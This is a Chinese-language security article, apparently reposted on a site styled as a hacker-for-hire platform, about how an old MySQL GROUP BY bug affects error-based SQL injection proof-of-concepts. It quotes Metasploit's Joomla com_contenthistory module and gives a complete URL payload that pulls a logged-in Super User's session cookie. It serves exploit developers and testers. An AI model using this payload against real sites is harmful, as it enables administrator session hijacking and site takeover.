你的PoC和EXP可能得改改了-黑客接单平台

访客5年前黑客工具1099
一、前语 在MySQL 5.7.5之前的所有主版别存在一个BUG,该或许导致影响POC/EXP需求从头编写或批改的问题。 BUG信息链接: https://bugs.mysql.com/bug.php?id=58081 二、问题阐明 在BUG阐明中,能够经过以下SQL句子复现: set names latin1;drop table if exists t1;create table t1(a int) engine=myisam;insert into t1 values (0),(0),(1),(0),(0);select count(*) from t1, t1 t2 group by insert('', t2.a, t1.a,(@@global.max_binlog_size)); MySQL版别低于5.7.5中,履行以上SQL句子,会报如下过错: Duplicate entry '107374182410737418241' for key 'group_key' 三、POC/EXP影响剖析 3.1 原因剖析 一般报错性SQL注入POC或EXP编写的时分,POC/EXP编写思路是经过SQL句子履行某个句子让WEB APP将报错(包括要履行的SQL句子查询成果)信息打印出来。 以Joomla__APP__SQL_Injection__CVE_2019_7297这个缝隙为例: 在Joomla 3.4.4b版别对应com_contenthistory组件的视图文件/administrator/components/com_contenthistory/views/history/view.html.php中: if (count($errors = $this->get('Errors'))) { JError::raiseError(500, implode("n", $errors)); return false; } 呈现SQL句子查询SQL句子查询过错时,会将要害报错信息打印出来。 因而这也导致在MetaSploit 结构中,对应使用模块: https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/unix/webapp/joomla_contenthistory_sqli_rce.rb 77行界说的sqli使用函数中,经过报错办法让Joomla将过错信息打印出来: def sqli( tableprefix ) # SQLi will only grab Super User sessions with a valid username and userid (else they are not logged in). # The extra search for NOT LIKE '%IS NOT NULL%' is because of our SQL data that's inserted in the session cookie history. # This way we make sure that's excluded and we only get real admin sessions. sql = " (select col.a from (select count(*), concat(0x3a, 0x3a, (select substr(session_id,1,100) from #{tableprefix}session WHERE data LIKE '%Super User%' AND data NOT LIKE '%IS NOT NULL%' AND userid!='0' AND username IS NOT NULL limit 0,1), 0x3a, 0x3a, floor(rand()*2)) a from information_schema.columns i1 group by a) col),'A' union select uc.id " # Retrieve cookies res = send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, "index.php"), 'vars_get' => { 'option' => 'com_contenthistory', 'view' => 'history', 'list[ordering]' => '', 'item_id' => '1', 'type_id' => '1', 'list[select]' => sql } }) 经过MySQL查询日志,能够看到MSF履行sqli获取已登录的超级管理员用户的session_id(即身份令牌Cookie)时。履行SQL句子为: SELECT (select col.a from (select count(*), concat(0x3a, 0x3a, (select substr(session_id,1,100) from `u6egd_session` WHERE data LIKE '%Super User%' AND data NOT LIKE '%IS NOT NULL%' AND userid!='0' AND username IS NOT NULL limit 0,1), 0x3a, 0x3a, floor(rand()*2)) a from information_schema.columns i1 group by a) col),'A' union select uc.id ,uc.name AS editorFROM `u6egd_ucm_history` AS hLEFT JOIN u6egd_users AS uc ON uc.id = h.editor_user_idWHERE `h`.`ucm_item_id` = 1 AND `h`.`ucm_type_id` = 1ORDER BY `h`.`save_date` 留意: u6egd仅仅表前缀,不同环境下会改变。 该SQL句子实在履行后,报的过错如下: 因而,咱们可结构对应的Payload: /index.php?option=com_contenthistory&view=history&list[select]=(select col.a from (select count(*), concat(0x3a, 0x3a, (select substr(session_id,1,100) from %23__session WHERE data LIKE '%Super User%' AND data NOT LIKE '%IS NOT NULL%' AND userid!='0' AND username IS NOT NULL limit 0,1), 0x3a, 0x3a, floor(rand()*2)) a from information_schema.columns i1 group by a) col),'A' union select uc.id 希望呼应含有已登陆超级管理员的session_id(即身份令牌Cookie): 咱们在MySQL 8.0版别中,看到没有报错了: [1][2]黑客接单网

相关文章

缝缝补补的WebLogic:绕过的艺术

前语 现在Weblogic在全球的使用量占居前列,据统计,在全球范围内对互联网敞开Weblogic服务的财物数量多达35382台,其间归属我国区域的财物数量为10562台。假如迸发一个Weblogic...

Chafer运用的新的根据Python的有效载荷MechaFlounder

2019年11月,Chafer要挟小组针对土耳其政府从头运用他们在2019年早些时候运用的基础设施(Clearsky报导的活动中),特别是域名win10-update [.] com。尽管咱们没有见到...

JavaScript的注入引出技能欺诈

0×01 前语 在最近的歹意软件的查询中,咱们发现了一些风趣的混杂JavaScript代码。此代码伪装成现在盛行的插件AddThis social sharing的一部分,在URL命名约好和图画文件中...

谷歌为G-Suite服务布置全新反钓鱼和歹意软件检测功用

Google 为 G Suite 服务推出了全新安全功用,包括企业云核算,生产力和协作东西。 现在企业用户能够运用 Gmail 来绑定企业自定义域名,并进行商务和企业内部的邮件联络。 而G Suite...

瞄准Chrome凭据的新威胁已现身-黑客接单平台

CyberArk最近捕获了一个风趣的歹意软件样本。它与惯例的偷盗凭证歹意软件,如Pony或Loki的不同之处在于,它只针对最常见的浏览器——谷歌Chrome。 该歹意样本没有被混杂,但却能够躲避大多数...